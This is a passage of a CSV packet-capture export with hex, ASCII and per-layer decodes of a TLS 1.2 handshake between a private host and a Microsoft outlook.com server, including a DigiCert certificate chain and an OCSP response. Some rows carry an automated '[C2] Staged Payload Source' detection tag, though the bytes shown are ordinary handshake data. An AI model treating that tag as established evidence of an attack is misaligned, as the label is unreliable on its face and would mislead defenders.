566401d97d87a838539f8b5d466d,\".$.6\n..$.)....E.\n.?\t@.@..-(b.=\n...........d..wP..?............b..j....\n<.......eln.+8.Q.cDOWNGRD. _......+sF.3V..z8...O[....)Mj..0.0........#.........h2...........\nM.\nJ..x0..t0..\\...........ef.A...i.[|s0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n260318000000Z.\n261002235959Z0j1.0\t..U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0\n.\t*.H..\n..........0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.\t.....a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y.\nCpe.R..........$..\t....|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com.\n*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com.\n*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com.\noffice365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u..\tU;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!..\n..r....z6.\t..K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`..\n0\n.\t*.H..\n...............-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R\tR_W........0\t.F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 16137, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 4909, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062731511, \"\"ack\"\": 1686838391, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 59572, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"16030311070200006203036a2eb7d2920d3ca8b68394e7c98a656c6ea22b388a511f63444f574e47524401205f110000b8ecfa2b7346ba335697a07a381edb9e4f5bcbcceb8e294d6abdb930c03000001a000500000023000000100005000302683200170000ff010001000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d\"\"}}]\"\n2026-06-14 14:16:50.614623,64,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1686838391 Ack=3062734927,bc24112907bbbc2411360d0c080045000028f1d8400080062db50a98980b2862103df9f901bb648b1c77b68da04f50100400fcfd0000,\".$.)...$.6\n...E..(..@...-.\n...(b.=....d..w...OP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61912, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11701, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838391, \"\"ack\"\": 3062734927, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 64765, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:50.652554,65,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=3062734927 Ack=1686838391,bc2411360d0cbc24112907bb0800450003dc3f0c400040061cce2862103d0a98980b01bbf9f9b68da04f648b1c775018003fdf1000005cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631303037313834345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631303037303330305aa011180f32303236303631373036303330305a300d06092a864886f70d01010b05000382010100b6fed603e69fe282e50191ad3f69a91191bc0cd4e6586ef3a1b84365b132edca1dbb16ecb69b3ec0299d539644490c714f5eafedc7282beb8282aaf2fdf72f6860dc7097a7b7dc2d4f28a64deb0d59235713299f0a61fc42e97295123ddccccef64f89f71e3e8c15b46f2ca8046d5344a64e1419d7090677bc31669aa7c01699b1fa3c2e84836f58ff0b23bc5b6aa2f0d4f3362704f8b819c5c431b2fac242bf43e2739c8ef739492d2e89a620b80e8436fbebdde18379bc873288eba04810d264e29dccf4a33a2990b32cc6155a6423f8d0309afd94fc856cc0c7a82f685537f5ab0e5c4bdb84f40a12170e8983c59a690e48a9d0dd30df912e3f41bfdb827c0c000169030018610428ce9a0d9c0997257ead2375225a03c3ab264f15a271fcd58c4ab12d37cf5e20d8e1b1a5f124f07a570d1448782d56049df82de40516199831c4b28e0c4f1c2c93837c9fbda9497d1542a3e58909a153fb4b55d0f818a3fbeec6f95fb0400793080401005bdac91a6f6bd3e0a47df3429960f618f47a05c671a952a45f60bcddb6a7062d8bd05148a14fad0c551ae5d3bfd91831ce49beb42039ec1561ab3e2ee37a4e4af7943c15aa15d39c27dabc3c17f1cba3ffd7360ca9d4c0cafe8ab20e85217ade9967a1e80741f2b8d1efb858b7d04bb4caa0366f571b502b6799354bc63773e28da5eb0da02acbf6a7adfd89361f4a695a3891c7c52a3cd895969e30639d5e635f5f316ab5abe071c64aec77874124c5b292605d5891d5440bda6f28742be980dfb23c55c17d728afd5e3d4c731b6cd702177e2fbef37d83cb31ac6fc64990ee8fe4b8a7189479973913b3a1dd0b2813b534db83bce09796446d58ac8b738d740e000000,\"\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@...........0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260610071844Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260610070300Z....20260617060300Z0\n.\t*.H..\n......................?i.......Xn...Ce.2........>.).S.DI.qO^...(+......./h`.p....-O(.M.\nY#W.).\na.B.r..=....O...>...o,..mSD.N...\t.w.1f.......<...oX..#.[j....6'......1...B.C.s...9I-... ...6.....y..2...H..d.....:)..,..Zd#..0.....l.../hU7...\\K...\n.......i.H...0...?A...|...i...a.(..\n.\t.%~.#u\"\"Z...&O..q...J.-7.^ .....$.zW\n.Hx-V...-.....1....O.,..|...I}.B...\t.S.KU........_.@......[...ok...}.B.`...z..q.R._`.....-..QH.O..U......1.I.. 9..a.>..zNJ..<.....'..<......6..........!z..g...A.....X..K...6oW.P+g.5K.7s....\n.*......6.JiZ8...*<....0c.^c__1j...q.J.w.A$...`]X..D..o(t+....<U.}r..^=Ls.l...~/..}..1.o.I........y.9.....(..4......DmX..s.t....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 988, \"\"id\"\": 16140, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 7374, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062734927, \"\"ack\"\": 1686838391, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 57104, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631303037313834345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631303037303330305aa011180f32303236303631373036303330305a300d06092a864886f70d01010b05000382010100b6fed603e69fe282e50191ad3f69a91191bc0cd4e6586ef3a1b84365b132edca1dbb16ecb69b3ec0299d539644490c714f5eafedc7282beb8282aaf2fdf72f6860dc7097a7b7dc2d4f28a64deb0d59235713299f0a61fc42e97295123ddccccef64f89f71e3e8c15b46f2ca8046d5344a64e1419d7090677bc31669aa7c01699b1fa3c2e84836f58ff0b23bc5b6aa2f0d4f3362704f8b819c5c431b2fac242bf43e2739c8ef739492d2e89a620b80e8436fbebdde18379bc873288eba04810d264e29dccf4a33a2990b32cc6155a6423f8d0309afd94fc856cc0c7a82f685537f5ab0e5c4bdb84f40a12170e8983c59a690e48a9d0dd30df912e3f41bfdb827c0c000169030018610428ce9a0d9c0997257ead2375225a03c3ab264f15a271fcd58c4ab12d37cf5e20d8e1b1a5f124f07a570d1448782d56049df82de40516199831c4b28e0c4f1c2c93837c9fbda9497d1542a3e58909a153fb4b55d0f818a3fbeec6f95fb0400793080401005bdac91a6f6bd3e0a47df3429960f618f47a05c671a952a45f60bcddb6a7062d8bd05148a14fad0c551ae5d3bfd91831ce49beb42039ec1561ab3e2ee37a4e4af7943c15aa15d39c27dabc3c17f1cba3ffd7360ca9d4c0cafe8ab20e85217ade9967a1e80741f2b8d1efb858b7d04bb4caa0366f571b502b6799354bc63773e28da5eb0da02acbf6a7adfd89361f4a695a3891c7c52a3cd895969e30639d5e635f5f316ab5abe071c64aec77874124c5b292605d5891d5440bda6f28742be980dfb23c55c17d728afd5e3d4c731b6cd702177e2fbef37d83cb31ac6fc64990ee8fe4b8a7189479973913b3a1dd0b2813b534db83bce09796446d58ac8b738d740e000000\"\"}}]\"\n2026-06-14 14:16:50.652745,66,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1686838391 Ack=3062735875,bc24112907bbbc2411360d0c080045000028f1d9400080062db40a98980b2862103df9f901bb648b1c77b68da403501003fcf94d0000,\".$.)...$.6\n...E..(..@...-.\n...(b.=....d..w....P....M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61913, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11700, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838391, \"\"ack\"\": 3062735875, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1020, \"\"chksum\"\": 63821, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:50.655906,67,TCP 10.152.152.11:63993 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,63993,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=1686838391 Ack=3062735875,bc24112907bbbc2411360d0c0800450000c6f1da400080062d150a98980b2862103df9f901bb648b1c77b68da403501803fcab7900001603030066100000626104748743b11654d48ff0fa8829e21dd666b7a1adc205a54254f0d4b0bbd3de3b4107c90009b039f7768ae8a5fae08719f6ee0ec11b42e76d3f087329c37576b95b2d9ab31876bf4a1b4f4749c4d2e16a444b9c1a23739ed5b1451962b2219baa3a1403030001011603030028000000000000000029de029b21f4535aeea8a4753d8cb9df983d6cb86becfa5cdf7dd29b3e5955f3,a.t.C..T.....)...f......BT......;A...\t.9.v............B.m?.s).uv.[-...v.J.OGI...jDK..#s...E.b.!..:,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 61914, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11541, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63993, \"\"dport\"\": 443, \"\"seq\"\": 1686838391, \"\"ack\"\": 3062735875, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1020, \"\"chksum\"\": 43897, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b'a\\\\x04t\\\\x87C\\\\xb1\\\\x16T\\\\xd4\\\\x8f\\\\xf0\\\\xfa\\\\x88)\\\\xe2\\\\x1d\\\\xd6f\\\\xb7\\\\xa1\\\\xad\\\\xc2\\\\x05\\\\xa5BT\\\\xf0\\\\xd4\\\\xb0\\\\xbb\\\\xd3\\\\xde;A\\\\x07\\\\xc9\\\\x00\\\\t\\\\xb09\\\\xf7v\\\\x8a\\\\xe8\\\\xa5\\\\xfa\\\\xe0\\\\x87\\\\x19\\\\xf6\\\\xee\\\\x0e\\\\xc1\\\\x1bB\\\\xe7m?\\\\x08s)\\\\xc3uv\\\\xb9[-\\\\x9a\\\\xb3\\\\x18v\\\\xbfJ\\\\x1bOGI\\\\xc4\\\\xd2\\\\xe1jDK\\\\x9c\\\\x1a#s\\\\x9e\\\\xd5\\\\xb1E\\\\x19b\\\\xb2!\\\\x9b\\\\xaa:' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b')\\\\xde\\\\x02\\\\x9b!\\\\xf4SZ\\\\xee\\\\xa8\\\\xa4u=\\\\x8c\\\\xb9\\\\xdf\\\\x98=l\\\\xb8k\\\\xec\\\\xfa\\\\\\\\\\\\xdf}\\\\xd2\\\\x9b>YU\\\\xf3' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:50.655921,68,TCP 40.98.16.61:443 -> 10.152.152.11:63993,40.98.16.61,10.152.152.11,443,63993,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062735875 Ack=1686838549,bc2411360d0cbc24112907bb0800450000283f0d4000400620812862103d0a98980b01bbf9f9b68da403648b1d155010003fdb5c0000,\".$.6\n..$.)....E..(?\n@.@. .(b.=\n...........d...P..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 16141, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8321, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63993, \"\"seq\"\": 3062735875, \"\"ack\"\": 1686838549, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 